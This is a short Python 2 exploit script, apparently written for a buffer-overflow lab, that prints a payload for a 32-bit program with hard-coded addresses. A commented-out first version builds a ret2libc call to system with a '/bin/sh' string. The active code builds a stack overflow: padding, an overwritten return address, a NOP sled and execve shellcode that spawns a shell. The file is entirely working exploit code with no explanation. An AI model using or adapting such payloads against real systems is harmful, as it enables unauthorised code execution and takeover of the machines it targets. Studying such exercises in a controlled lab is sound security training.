import struct

junk = "A" * 80

'''Working exploit - 1

system = struct.pack("I", 0xb7ecffb0)
ret = "BBBB"
bin_sh  =  struct.pack("I", 0xb7fb63bf)

payload = junk + system + ret + bin_sh

'''


fakeRet = struct.pack("I", 0x080484f9)

eip = struct.pack("I", 0xbffff7d0)

nopslad = "\x90" * 28

shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"

payload = junk + fakeRet + eip + nopslad + shellcode


print payload
